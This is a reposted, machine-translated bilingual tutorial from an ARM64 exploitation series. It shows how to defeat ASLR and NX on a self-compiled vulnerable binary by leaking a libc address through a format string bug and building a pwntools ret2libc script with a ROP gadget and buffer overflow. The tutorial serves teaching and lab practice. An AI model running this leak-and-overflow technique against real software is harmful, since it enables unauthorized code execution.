ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

IoT 8个月前 admin
151 0 0

Introduction 介绍

Hello everyone! In this blog post, we will dive into bypassing ASLR and NX by exploiting a simple binary that contains both a format string vulnerability and a buffer overflow. But before we get into the details, there are a few things you need to have in place.
大家好!在这篇博文中,我们将深入探讨如何通过利用包含格式字符串漏洞和缓冲区溢出的简单二进制文件来绕过 ASLR 和 NX。但在我们进入细节之前,您需要准备好一些事情。

  • Familiarity with ARM64 assembly instructions.
    熟悉 ARM64 组装说明。

  • Familiarity with exploiting stack-based buffer overflow.
    熟悉利用基于堆栈的缓冲区溢出。

  • Basics of ARM64 ROP chains.
    ARM64 ROP 链的基础知识。

  • ARM64 environment with gef and gdb server.
    带有 gef 和 gdb 服务器的 ARM64 环境。

  • Ability to read and understand C code.
    能够阅读和理解C代码。

If you are new here, we recommend trying out our complete ARM64 Exploitation series.
如果您是新手,我们建议您尝试我们完整的 ARM64 开发系列。

Address Space Layout Randomization (ASLR)
地址空间布局随机化 (ASLR)

The first question here is, “What is ASLR?”. At the beginning of every write-up, we recommend that you turn off ASLR. So, why are we doing that?
这里的第一个问题是,“什么是ASLR?在每次撰写开始时,我们建议您关闭 ASLR。那么,我们为什么要这样做呢?

ASLR, or Address Space Layout Randomization, is a security technique used to protect computer systems from various types of attacks, particularly those that target memory vulnerabilities. ASLR randomizes the memory addresses of system components, libraries, and executable code are loaded. This makes it harder for attackers to predict the exact memory locations of these components, which in turn makes it more difficult to exploit memory-related vulnerabilities. For instance, with every execution of a program, the memory addresses of its various components will be randomized.
ASLR 或地址空间布局随机化是一种安全技术,用于保护计算机系统免受各种类型的攻击,尤其是针对内存漏洞的攻击。ASLR 随机化加载的系统组件、库和可执行代码的内存地址。这使得攻击者更难预测这些组件的确切内存位置,这反过来又使利用与内存相关的漏洞变得更加困难。例如,每次执行程序时,其各个组件的内存地址都将是随机的。

We can if ASLR is enabled or not by checking the value at /proc/sys/kernel/randomize_va_space . Let’s try that.
我们可以通过检查 /proc/sys/kernel/randomize_va_space .让我们试试看。

root@debian:/home/debian# cat  /proc/sys/kernel/randomize_va_space
2

The value 2 indicates that full randomization is enabled for ASLR. This randomizes all parts of the memory. Not only the stack but also other memory segments such as shared libraries, heap, memory managed through brk(), and other memory-mapped regions, will be randomized each time a program is executed.
该值 2 指示为 ASLR 启用了完全随机化。这会随机化内存的所有部分。每次执行程序时,不仅堆栈,而且其他内存段(如共享库、堆、通过管理的 brk() 内存和其他内存映射区域)都将随机化。

On the other hand, if the value is 1, the memory-mapped addresses, stack, heap, and shared libraries are randomized. This is called partial randomization
另一方面,如果值为 1 ,则内存映射地址、堆栈、堆和共享库是随机的。这称为 partial randomization
.

To disable ASLR, you can simply write the value 0 to this file. Before proceeding, ensure that you are logged in as the root user.
若要禁用 ASLR,只需将值 0 写入此文件即可。在继续之前,请确保您以 root 用户身份登录。

root@debian:/home/debian# echo 0 >  /proc/sys/kernel/randomize_va_space
root@debian:/home/debian# cat  /proc/sys/kernel/randomize_va_space
0
root@debian:/home/debian#

Let’s consider the below example program
让我们考虑以下示例程序
.

#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <unistd.h>

// variable located in data segment
int var_data_segment;

void main()
{
    // address of main
    printf("&main = %p\n", main);

    // stack variable
    int var_stack;
    printf("&var_stack = %p\n", &var_stack);

    printf("&var_data_segment = %p\n", &var_data_segment);

    // heap variable
    void *var_heap = (int*) malloc(1024);
    printf("&var_heap = %p\n", &var_heap);

    // address of malloc in libc
    printf("&malloc=%p\n", dlsym(dlopen("libc.so.6", RTLD_LAZY), "malloc"));

    // address of brk
    printf("&brk=%p\n",  sbrk(0));
}

This will print out the addresses of main, the stack, the heap, malloc, and brk.
这将打印出主、堆栈、堆、malloc 和 brk 的地址。

Let’s compile and run this after disabling ASLR.
让我们在禁用 ASLR 后编译并运行它。

debian@debian:~/pwn/ASLR$ gcc aslr.c -o aslr
root@debian:/home/debian# echo 0 > /proc/sys/kernel/randomize_va_space

Let’s try running this. 让我们尝试运行它。

ASLR Disabled ASLR 已禁用

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

As we can see, all the addresses in the output for both instances are the same. This will remain the same even if we run it n number of times.
如我们所见,两个实例的输出中的所有地址都是相同的。即使我们运行它 n 多次,这也将保持不变。

Let’s enable ASLR. 让我们启用 ASLR。

ASLR Enabled 已启用 ASLR

For this, we will write the value 2
为此,我们将写入值 2
.

root@debian:/home/debian# echo 2 >  /proc/sys/kernel/randomize_va_space

Let’s run the binary again.
让我们再次运行二进制文件。

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

As we can see, all the addresses are being randomized. The PIE (Position Independent Executable) effect is also taking place.
正如我们所看到的,所有地址都是随机的。PIE(位置独立可执行文件)效应也正在发生。

Format String Vulnerability
格式字符串漏洞

Now that we have a good idea about ASLR, let’s look into format strings.
现在我们对 ASLR 有了很好的了解,让我们看看格式字符串。

We are all familiar with the printf() function, right? Let’s take a look at a very basic C program.
我们都熟悉 printf() 函数,对吧?让我们看一个非常基本的C程序。

#include <stdio.h>

void main(){
int a =10;
printf("%d\n",a);

}

Compile this program and run.
编译此程序并运行。

debian@debian:~/pwn/ASLR$ gcc printf.c -o printf
debian@debian:~/pwn/ASLR$ ./printf
10

As expected the program prints 10.
正如预期的那样,程序打印 10。

Let’s make a small edit in the program.
让我们在程序中进行一个小的编辑。

#include <stdio.h>

void main(){

int a =10;
printf("%d %d\n",a);

}

I added an additional format specifier. Let’s try compiling and running this again.
我添加了一个额外的格式说明符。让我们尝试编译并再次运行它。

debian@debian:~/pwn/ASLR$ gcc printf.c -o printf
debian@debian:~/pwn/ASLR$ ./printf
10 -948628584

We got a random value ?
我们得到了一个随机值?

Let’s debug this program using gdb.
让我们使用 gdb 调试这个程序。

debian@debian:~/pwn/ASLR$ gdb ./printf

Do a disassembly of the main function.
对主函数进行反汇编。

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

Let’s put a breakpoint at main and run the program.
让我们在 main 放置一个断点并运行程序。

gef➤  b main
Breakpoint 1 at 0x75c
gef➤  r

After hitting the breakpoint, let’s put a breakpoint at the `printf()` function.
命中断点后,让我们在 ‘printf()’ 函数处放置一个断点。

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

Let’s continue the execution using c command.
让我们使用 command 继续 c 执行。

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

Now the breakpoint has been triggered.
现在,断点已触发。

In this case, for the printf() function, the first argument will be the pointer to the format string. This pointer will be stored in the x0 register, while the remaining arguments, which represent the actual values, are passed through other registers.
在这种情况下,对于 printf() 函数,第一个参数将是指向格式字符串的指针。此指针将存储在寄存器中,而表示实际值的其余参数将通过其他 x0 寄存器传递。

In this program, we have two format specifiers, which means two values, other than the format string, will be passed to the printf() function. Let’s examine the registers to gain a better understanding.
在这个程序中,我们有两个格式说明符,这意味着除了格式字符串之外,还有两个值将被传递给 printf() 函数。让我们检查寄存器以更好地了解。

gef➤  x/s $x0
0xaaaaaaaa07a0:	"%d %d\n"
gef➤  print $x1
$1 = 0xa
gef➤  print $x2
$2 = 0xfffffffff4f8
gef➤

x0 : contains the pointer to the format string.
x0 :包含指向格式字符串的指针。

x1 : contains the value 0xa.
x1 :包含值0xa。

x2 : contains the value 0xfffffffff4f8.
x2 :包含值0xfffffffff4f8。

Let’s continue the program.
让我们继续该程序。

The output is, 输出是,

10 -2824

10 comes from register x1, and -2824 comes from register x2. The value -2824 is a negative number. By using the two’s complement method, we obtain the value 0xf4f8
10 来自寄存器,也 -2824 来自寄存 x1 器 x2 。该值 -2824 为负数。通过使用两者的补码方法,我们得到的值 0xf4f8
.

You can use this calculator for conversion.
您可以使用此计算器进行转换。

So what happens if we add more format specifiers to printf() without specifying their values?
那么,如果我们添加 printf() 更多格式说明符而不指定它们的值会发生什么?

Let’s try that with an another example.
让我们用另一个例子来尝试一下。

#include <stdio.h>

void main(){

char buf[10];
gets(buf);
printf(buf);


}

In this program, we did not actually specify any format specifier for the string. However, even without specifying the format specifier, the program will still output the characters in the buffer.
在这个程序中,我们实际上并没有为字符串指定任何格式说明符。但是,即使没有指定格式说明符,程序仍将输出缓冲区中的字符。

Let’s compile this using gcc and run it.
让我们使用 gcc 编译它并运行它。

debian@debian:~/pwn/ASLR$ gcc print2.c -o print2
debian@debian:~/pwn/ASLR$ ./print2
Hello
Hellodebian@debian:~/pwn/ASLR$

The program is working fine. Let’s input something different.
该程序工作正常。让我们输入一些不同的东西。

Hellodebian@debian:~/pwn/ASLR$ ./print2
Hello %d %d %d
Hello 1 -72539512 -1414395600debian@debian:~/pwn/ASLR$

As you can see now, we are including format specifiers in the input and the output prints some strange decimal values. Here we are passing three format specifiers in the input. As we are using %d, three decimal values will be printed on the screen. We already know that the values that are printing here are from the registers because in ARM64 the first 8 arguments are passed via x0 to x7. If we add one more %d it will print the value from the x3 register .So what will happen if we add more than 7 format specifiers, let’s see that.
正如您现在所看到的,我们在输入中包含格式说明符,输出打印一些奇怪的十进制值。在这里,我们在输入中传递三个格式说明符。正如我们使用 %d ,屏幕上将打印三个十进制值。我们已经知道这里打印的值来自寄存器,因为在 ARM64 中,前 8 个参数通过 x0 传递给 x7 。如果我们再 %d 添加一个,它将打印来自 x3 寄存器的值。那么如果我们添加超过 7 个格式说明符会发生什么,让我们看看。

Load the binary into gdb and set a breakpoint at the printf() function after the addresses are loaded.
将二进制文件加载到 gdb 中,并在加载地址后在函数处 printf() 设置断点。

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

Continue the program using c command.
使用命令继续 c 程序。

The program will now wait for the input. Let’s enter eight format specifiers. This time, we will use the %x format specifier, which will print hexadecimal values.
程序现在将等待输入。让我们输入八个格式说明符。这一次,我们将使用 %x 格式说明符,它将打印十六进制值。

gef➤  c
Continuing.
%x %x %x %x %x %x %x %x
ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

Now x0 points to our format string which contains eight %x . Take a note of the register values and the top most stack values.
现在 x0 指向我们的格式字符串,其中包含八个 %x 。记下寄存器值和最上面的堆栈值。

Let’s continue and see what will happen.
让我们继续,看看会发生什么。

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

As we specified eight format specifiers, eight hexadecimal values got printed on the screen.
当我们指定八个格式说明符时,屏幕上打印了八个十六进制值。

The first seven values are from the registers x1 to x7
前七个值从寄存器 x1 x7 到
.

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

These are the values of the registers we recorded just before the branch instruction to the printf() function. Note that it won’t print the entire value of the register because when we are using %x or %d as specifiers, we can only display values that have a maximum width of 4 bytes. However, the registers are 64-bit wide. Therefore, to print the complete value stored in the registers, we need to use %llx (hex) or %lld (decimal) as the format specifier. %llx can print 64-bit wide values.
这些是我们在 printf() 函数的分支指令之前记录的寄存器的值。请注意,它不会打印寄存器的整个值,因为当我们使用 %x 或 %d 作为说明符时,我们只能显示最大宽度为 4 字节的值。但是,寄存器是 64 位宽的。因此,要打印存储在寄存器中的完整值,我们需要使用 %llx (hex) 或 %lld (十进制) 作为格式说明符。 %llx 可以打印 64 位宽值。

So, what’s the eighth value here ?
那么,这里的第八个值是什么?

Let’s take a look at the top of the stack we recorded just before the branch instruction to printf()
让我们看一下我们在分支指令 printf() 之前记录的堆栈顶部
.

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

The value at the top of the stack matches the value that was leaked from the output. Therefore, the eighth value is the one located at the top of the stack. In conclusion, if we provide more format specifiers, we can leak more values from the stack. These leaked values can include addresses of various libraries, the stack, heap, or other sensitive information. This type of vulnerability is commonly known as a Format String vulnerability. Input data should always be properly validated, sanitized, and escaped before being used in format strings to avoid these vulnerabilities. We can do more than just reading values with this vulnerability, but that’s outside the scope of this blog. We will be utilizing the format string vulnerability to leak addresses of the libc library from the stack. We will discuss this in the next section.
堆栈顶部的值与从输出泄漏的值匹配。因此,第八个值是位于堆栈顶部的值。总之,如果我们提供更多的格式说明符,我们可以从堆栈中泄漏更多的值。这些泄漏的值可能包括各种库的地址、堆栈、堆或其他敏感信息。此类漏洞通常称为格式字符串漏洞。输入数据在格式字符串中使用之前,应始终正确验证、清理和转义,以避免这些漏洞。我们可以做的不仅仅是读取具有此漏洞的值,但这超出了本博客的范围。我们将利用格式字符串漏洞从堆栈中泄漏 libc 库的地址。我们将在下一节中讨论这一点。

Vulnerable Binary 易受攻击的二进制文件

Consider the below c program.
考虑下面的 c 程序。

#include <stdio.h>

void echo()
{
    char buf[64];
    printf("\nEnter something to test\n:>");
    fgets(buf, sizeof(buf), stdin);
    printf(buf);   //Format string vulnerability
    printf("\nEnter the input >");
    gets(buf); //Buffer overflow
}

void main()
{
    setbuf(stdout, NULL);
    echo();
}

This C program has two security issues: a buffer overflow vulnerability and a format string vulnerability.

fgets(buf, sizeof(buf), stdin);
printf(buf);   // Format string vulnerability
  • The fgets(buf, sizeof(buf), stdin); line takes input from the user and puts it into a container called buf.

  • Then, in the printf(buf); line, the content of buf is used directly in the printf() function without proper formatting. This creates a format string vulnerability.
    然后,在行中 printf(buf); ,的内容 buf 直接在 printf() 函数中使用,没有正确的格式。这会造成格式字符串漏洞。

At the end of the echo() the program uses gets() function and writes it to buffer. As it is using gets() , we can exploit this to overflow the buffer, leading to a buffer overflow.
在程序结束时 echo() ,程序使用 gets() 函数并将其写入缓冲区。当它正在使用 gets() 时,我们可以利用这一点使缓冲区溢出,从而导致缓冲区溢出。

Let’s compile this program and check if it’s crashing.
让我们编译这个程序并检查它是否崩溃。

We will enable nx and disable stack canaries.
我们将启用 nx 和禁用堆栈金丝雀。

debian@debian:~/pwn/ASLR$ gcc bof.c -fno-stack-protector -o bof
ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

As expected the program is crashing.
正如预期的那样,程序正在崩溃。

Let’s find the offset of the input that overwrites pc
让我们找到覆盖 pc 的输入的偏移量
.

For this, we will be using this tool
为此,我们将使用此工具
.

Let’s load the program in gdb and input the pattern.
让我们在 gdb 中加载程序并输入模式。

debian@debian:~/pwn/ASLR$ gdb ./bof
ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX
ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX
ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

So we found the offset it’s 72.
所以我们发现偏移量是72。

Leaking Libc 泄漏的 Libc

Now that we know the offset, but the binary has NX enabled, and ASLR is also active.
现在我们知道了偏移量,但二进制文件已启用 NX,并且 ASLR 也处于活动状态。

We will exploit the format string vulnerability to extract addresses from the stack. So, the main question at this point is which address we should leak and why.
我们将利用格式字符串漏洞从堆栈中提取地址。因此,此时的主要问题是我们应该泄漏哪个地址以及为什么。

We should try to leak an address from the libc library because our goal is to execute the ret2libc attack using ROP gadgets. We will learn more about this attack later. To make this attack work, we require the address of the system() function as well as the addresses of ROP gadgets. The gadgets we intend to use come from the libc library. Similarly, the system() function also exists in the libc library. Therefore, we need these addresses. Unfortunately, due to ASLR being enabled, these addresses will change when the binary restarts. As a result, we won’t be able to hardcode addresses as we did before.
我们应该尝试从 libc 库中泄漏地址,因为我们的目标是使用 ROP 小工具执行 ret2libc 攻击。稍后我们将了解有关此攻击的更多信息。为了使这种攻击起作用,我们需要 system() 函数的地址以及 ROP 小工具的地址。我们打算使用的小工具来自libc库。同样,该 system() 函数也存在于 libc 库中。因此,我们需要这些地址。遗憾的是,由于启用了 ASLR,当二进制文件重新启动时,这些地址将更改。因此,我们将无法像以前那样对地址进行硬编码。

If we leak an address from libc, we can calculate the starting address of the libc library which is referred as the base address of libc. This calculation will help us in finding the address of system() and the ROP gadgets.

Let’s walk through an example to demonstrate how the calculation becomes meaningful.

Take a look at a straightforward binary scenario with ASLR enabled : the binary’s libc base is set at 1000, and the system function resides at address 1024 within the libc.

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

By subtracting the libc base address from the system address, we arrive at a value of 24. Make sure to take note of this result.

Now, imagine a scenario where we reload this binary again. The addresses will change due to ASLR.

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

If we subtract the libc base address from the system() address, we once again get the value of 24. Therefore, we can deduce that even if the libc is loaded at a different address, the difference between the system() address and the libc base will still be 24. This value is also known as the offset. For the next scenario, assuming the libc base address is 3000, we can determine that the system() function’s address will be at 3024. Similarly, if we know the system() address is 3024, we can work backward and find that the libc base address is 3000. If we can figure out the libc’s base address, we can also calculate the addresses of other functions by adding its offset. So, In conclusion, we can say that :
如果我们从 system() 地址中减去 libc 基址,我们再次得到值 24。因此,我们可以推断出,即使 libc 加载在不同的地址, system() 地址和 libc 基数之间的差异仍将是 24。此值也称为偏移量。对于下一个场景,假设libc基址为3000,我们可以确定 system() 函数的地址将为3024。同样,如果我们知道 system() 地址是 3024,我们可以向后工作,发现 libc 基址是 3000。如果我们能计算出libc的基址,我们也可以通过添加它的偏移量来计算其他函数的地址。因此,总而言之,我们可以说:

leaked_address - libc_base = offset
libc_base = leaked_address - offset

With this approach, we can extract addresses from the stack using the format string vulnerability. By doing so, we can calculate the libc base address, which in turn allows us to determine the addresses of ROP gadgets, the system function, and the /bin/sh string.
通过这种方法,我们可以使用格式字符串漏洞从堆栈中提取地址。通过这样做,我们可以计算 libc 基址,这反过来又使我们能够确定 ROP 小工具、 system 函数和 /bin/sh 字符串的地址。

To identify a leaked address that belongs to the libc, we need to determine the range of addresses available within the libc library. Afterward, we can send multiple format specifiers like %x to extract some values from the stack. If we come across an address within the libc’s address range while following this process, we can use that leaked address to calculate the libc base. Another approach involves examining the stack before the branch to printf() and identifying an address within the range of the libc base addresses. We will perform this later.
要识别属于 libc 的泄露地址,我们需要确定 libc 库中可用的地址范围。之后,我们可以发送多个格式说明符,例如 %x 从堆栈中提取一些值。如果我们在执行此过程时遇到 libc 地址范围内的地址,我们可以使用该泄漏的地址来计算 libc 基数。另一种方法是检查分支 printf() 之前的堆栈,并识别libc基址范围内的地址。我们稍后将执行此操作。

Let’s do that right now.
让我们现在就这样做。

Load the binary into gdb, put a breakpoint at main and run the binary using the r command.
将二进制文件加载到 gdb 中,在 main 放置一个断点,然后使用 r 命令运行二进制文件。

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

After hitting the breakpoint put a breakpoint at the printf() function in the echo() function.

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

Let’s continue using the c command.

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

The program is currently waiting for input. . Let’s input a series of %llx to leak some values from the stack.
程序当前正在等待输入。.让我们输入一系列 of %llx 以从堆栈中泄漏一些值。

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

Step over the printf() function using the ni command.
使用 ni 命令单步执行 printf() 函数。

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

As we can observe, there are multiple leaked values displayed on the screen. Let’s check if these leaks contain any addresses that are within the range of the libc addresses. First, we need to determine the range of addresses within the libc library. For this we can use the vmmap command.

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

The address 0x0000fffff7e00000 is base address of the libc library, while Start and End indicate the range of addresses. Examining the leaked values from our format string, none of them seem to include any addresses leaked from the libc. So let’s examine the stack manually to find a leak.
地址是libc库的基址,而 Start 和 End 表示地址 0x0000fffff7e00000 的范围。检查我们的格式字符串中泄漏的值,它们似乎都没有包含从libc泄漏的任何地址。因此,让我们手动检查堆栈以查找泄漏。

Rerun the program again and put a breakpoint before the printf()
再次重新运行程序,并在 printf()
.

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX
ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

The breakpoint has been triggered. Let’s now inspect the stack using the examine command.
已触发断点。现在让我们使用 examine 命令检查堆栈。

gef➤  x/100gx $sp
ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

The value 0x0000fffff7e26dc0 appears to be a potential leaked address from the stack. Considering the range of the libc:
该值 0x0000fffff7e26dc0 似乎是堆栈中潜在的泄漏地址。考虑到 libc 的范围:

0x0000fffff7e00000 0x0000fffff7f87000 0x0000000000000000 r-x /usr/lib/aarch64-linux-gnu/libc.so.6

It falls within its range.
它属于其范围。

Now, we need to calculate the libc base using this leaked address. To achieve this, we must determine the offset between the leaked address and the libc address. This way, the next time the libc address changes, we can utilize the offset and the leaked address to determine the libc base.
现在,我们需要使用此泄漏的地址计算libc基数。为此,我们必须确定泄漏地址和libc地址之间的偏移量。这样,下次libc地址更改时,我们可以利用偏移量和泄漏的地址来确定libc基数。

Let’s find the offset using the equation mentioned above, which we previously constructed.
让我们使用上面提到的方程找到偏移量,这是我们之前构建的。

Equation : leaked_address - libc_base = offset

leaked_address = 0x0000fffff7e26dc0
libc_base = 0x0000fffff7e00000
offset = leaked_address - libc_base
offset = 0x0000fffff7e26dc0 - 0x0000fffff7e00000 = 0x26DC0

So we calculated the offset : 0x26DC0.

Next time when the libc base changes, we can just use the leaked address and the offset to calculate the libc base.

libc_base = leaked_address - offset
libc_base =  leaked_address - 0x26DC0

The next question is how to leak the address using the format string. To do this, we first need to determine its position in the stack. Let’s calculate that right away.

The leaked address 0x0000fffff7e26dc0 is at the address 0xfffffffff378 in the stack. Let’s calculate the distance between this address and the top of the stack.

Addresss of the leak in the stack - Top of the stack = Distance
0xfffffffff378 - 0xfffffffff320 = 0x58

To calculate its position we can just divide 0x58 by 8 as memory addresses are represented using 8 bytes .Dividing 0x58 by 8 gives us 11 (Decimal). So the leak resides at the 11th position from the top of the stack. We can manually find this too.

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

The reason we marked 0xfffffffff320 as 0 is that we calculated the position after the top of the stack. However, when using the format string, we must take this position into consideration as well. In short, we need to leak the 12th value from the stack.

The next question that is how to leak this address using the format string. Instead of sending a sequence of %llx specifiers to reach the position of the leaked address, we can do a simple trick to obtain the address by sending a single format specifier.

Let’s run the program and send some %llx
让我们运行程序并发送一些 %llx
.

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

This leaked four values from the registers. If we want to obtain the second value directly, we can use %2$llx
这从寄存器中泄漏了四个值。如果我们想直接获取第二个值,我们可以使用 %2$llx
.

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

Similarly, if we want to leak the fourth value, we can use %4$llx
同样,如果我们想泄漏第四个值,我们可以使用 %4$llx
.

For obtaining the leaked address from the libc, we need the exact position. Let’s calculate that. The first seven leaked values are the registers x1 to x7 , then it will start to leak the values from the stack. So the actual position will be,

7 (register values) + position from the top of the stack = 7 + 12 = 19.

Let’s load the binary into gdb and confirm if the leaked value is same.

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

We can observe that it’s the same leaked address that we saw earlier. You can also verify this using the vmmap command. You might be wondering why we obtained the same value as before, even though ASLR is enabled. This is because inside gdb, ASLR is disabled by default, causing the addresses to remain unchanged.

Exploit Script

We now have almost everything ready to write the exploit. We will be using the pwntools library to create the exploit script. If you haven’t installed pwntools yet, you can refer to their documentation.

Let’s start writing the exploit.

#!/usr/bin/python3

p = process(argv=["./bof"])
  • p: This is a variable that represents the process.
    p :这是表示流程的变量。

  • process: Spawns a new process, and wraps it with a tube for communication.
    process :生成一个新进程,并用管子包裹它进行通信。

  • argv: This is an argument passed to the process you’re launching. In this case, we don’t have a command line argument so we only specify the program name.
    argv :这是传递给您要启动的进程的参数。在这种情况下,我们没有命令行参数,因此我们只指定程序名称。

First we have to send the %19$llx to the program to capture the leaked address.
首先,我们必须将 发送到 %19$llx 程序以捕获泄漏的地址。

#!/usr/bin/python3

from pwn import * #Importing the pwn library

p = process(argv=["./bof"])

p.recvuntil(">")

The p.recvuntil(b">") will receive data until ">" is encountered. Now we can send the %19$llx format specifier to the program using the sendline() function. The b before ">" in p.recvuntil(b">") indicates that the argument should be treated as a bytes literal rather than a regular string.
p.recvuntil(b">") 将接收数据,直到 ">" 遇到。现在我们可以使用该 sendline() 函数将 %19$llx 格式说明符发送到程序。前面 ">" 的 b in p.recvuntil(b">") 表示应将参数视为字节文本而不是常规字符串。

#!/usr/bin/python3

from pwn import *

p = process(argv=["./bof"])

p.recvuntil(b">")

p.sendline(b"%19$llx")
ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

After sending the %19$llx format specifier to the program, we will receive the leaked address in a new line of output. To capture this leaked address using pwntools, we can use the recvline() function.

#!/usr/bin/python3

from pwn import *

p = process(argv=["./bof"])

p.recvuntil(b">")

p.sendline(b"%19$llx")

leaked_libc = int(p.recvline().strip(),16)

print("The leaked libc address is " + hex(leaked_libc)) #converts the value into hex

p.recvline(): This function is used to receive a line of output from the process. It reads data from the process until it encounters a newline character ('\n').

.strip(): The strip() method is used to remove any leading or trailing whitespace characters (such as spaces or newline characters) from the received line.

int(..., 16): The int() function is used to convert the resulting stripped string into an integer. The , 16 argument specifies that the string is interpreted as a number in base 16 (hexadecimal) notation.

Let’s run this script and see if this is working properly.

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

The script is working fine. Since we already know how to calculate the libc base, let’s now update the script to calculate the libc base address.
脚本工作正常。由于我们已经知道如何计算 libc 基数,现在让我们更新脚本以计算 libc 基址。

#!/usr/bin/python3

from pwn import *

p = process(argv=["./bof"])

p.recvuntil(b">")

p.sendline(b"%19$llx")

leaked_libc = int(p.recvline().strip(),16)

libc_offset = 0x26DC0

libc_base   = leaked_libc - libc_offset #libc_base =  leaked_address - offse

print("The leaked libc address is " + hex(leaked_libc)) #converts the value into hex

print("The libc base address is " + hex(libc_base)) #converts the value into hex

Let’s run the script.
让我们运行脚本。

ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

We have successfully calculated the libc base address. With this base address, we can now easily calculate the addresses of ROP gadgets, the system function, and the /bin/sh string.
我们已经成功计算了 libc 基址。有了这个基址,我们现在可以轻松计算 ROP 小工具、 system 函数和 /bin/sh 字符串的地址。

Return-2-Libc Attack 返回-2-Libc 攻击

Before proceeding, let’s take a look at the Ret2Libc attack. This technique involves taking advantage of the system() function in the libc library and using it to spawn a shell. It can be utilized for executing shell commands. The system() function takes only one argument and interprets it as a command.
在继续之前,让我们看一下 Ret2Libc 攻击。此技术涉及利用 libc 库中的 system() 函数并使用它来生成 shell。它可用于执行 shell 命令。该 system() 函数仅接受一个参数并将其解释为命令。

Let’s see a simple example.
让我们看一个简单的例子。

#include <stdio.h>

void main(){

system("/bin/sh");

}

Compile this code. 编译此代码。

gcc system.c -o system

If we execute this program,we will get a sh shell.
如果我们执行这个程序,我们将得到一个 sh shell。

debian@debian:~/pwn/ASLR$ ./system
$ id
uid=1000(debian) gid=1000(debian) groups=1000(debian),100(users)
$

As you can see, we have got a shell. Similarly, we can utilize ROP chains to invoke the system() function with /bin/sh as its argument. Since the system accepts only one argument, we only need to populate x0 with the address of the /bin/sh string.
如您所见,我们有一个外壳。类似地,我们可以利用 ROP 链来调用 system() 函数 /bin/sh 作为其参数。由于系统只接受一个参数,我们只需要用 /bin/sh 字符串的地址填充 x0。

Firstly, let’s locate the ROP gadgets for this purpose. Let’s load the libc into ropper.
首先,让我们为此目的找到 ROP 小工具。让我们将 libc 加载到 ropper 中。

fuzzing-android@fuzzingandroid:~/Desktop/tmp$ ropper
(ropper)> file libc.so.6

If you are new to ROP chains , I recommend reading to this blog for detailed information on how to find and construct ROP chains using ropper.
如果您不熟悉 ROP 链 ,我建议您阅读此博客以获取有关如何使用 ropper 查找和构建 ROP 链的详细信息。

Let’s try finding a gadget to populate x0 with/bin/sh string.
让我们尝试找到一个小工具来填充 x0 /bin/sh 字符串。

(libc.so.6/ELF/ARM64)> search ldr x0
ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR And NX

We found a potential gadget.
我们发现了一个潜在的小工具。

0x0000000000068e40: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

The value 0x0000000000068e40 represents the offset of this gadget. So, we need to add this offset to the base address of libc to get the actual address of this gadget.
该值 0x0000000000068e40 表示此小工具的偏移量。因此,我们需要将此偏移量添加到libc的基址中,以获取此小工具的实际地址。

Now let’s update our script.
现在让我们更新脚本。

#!/usr/bin/python3

from pwn import *

p = process(argv=["./bof"])

p.recvuntil(b">")

p.sendline(b"%19$llx")

leaked_libc = int(p.recvline().strip(),16)

libc_offset = 0x26DC0

gadget_offset = 0x0000000000068e40  #0x0000000000068e40: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

libc_base   = leaked_libc - libc_offset #libc_base =  leaked_address - offset

gadget_address = libc_base + gadget_offset

print("The leaked libc address is " + hex(leaked_libc)) #converts the value into hex

print("The libc base address is " + hex(libc_base)) #converts the value into hex

Let’s update the script once again to include the payload for overflowing the buffer, and then verify if our gadgets are working.
让我们再次更新脚本以包含溢出缓冲区的有效负载,然后验证我们的小工具是否正常工作。

#!/usr/bin/python3

from pwn import *

p = process(argv=["./bof"])

p.recvuntil(b">")

p.sendline(b"%19$llx")

leaked_libc = int(p.recvline().strip(),16)

libc_offset = 0x26DC0

gadget_offset = 0x0000000000068e40  #0x0000000000068e40: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

libc_base   = leaked_libc - libc_offset #libc_base =  leaked_address - offset

gadget_address = libc_base + gadget_offset

print("The leaked libc address is " + hex(leaked_libc)) #converts the value into hex

print("The libc base address is " + hex(libc_base)) #converts the value into hex

p.recvuntil(b">")

junk = b"A" * 72

p.sendline(junk + p64(gadget_address))

But if even want to debug the binary with gdb using this script, we have to make a minor correction.
但是,如果甚至想使用此脚本使用 gdb 调试二进制文件,我们必须进行小的更正。

p = process(argv=["gdbserver",":5555","./bof"])

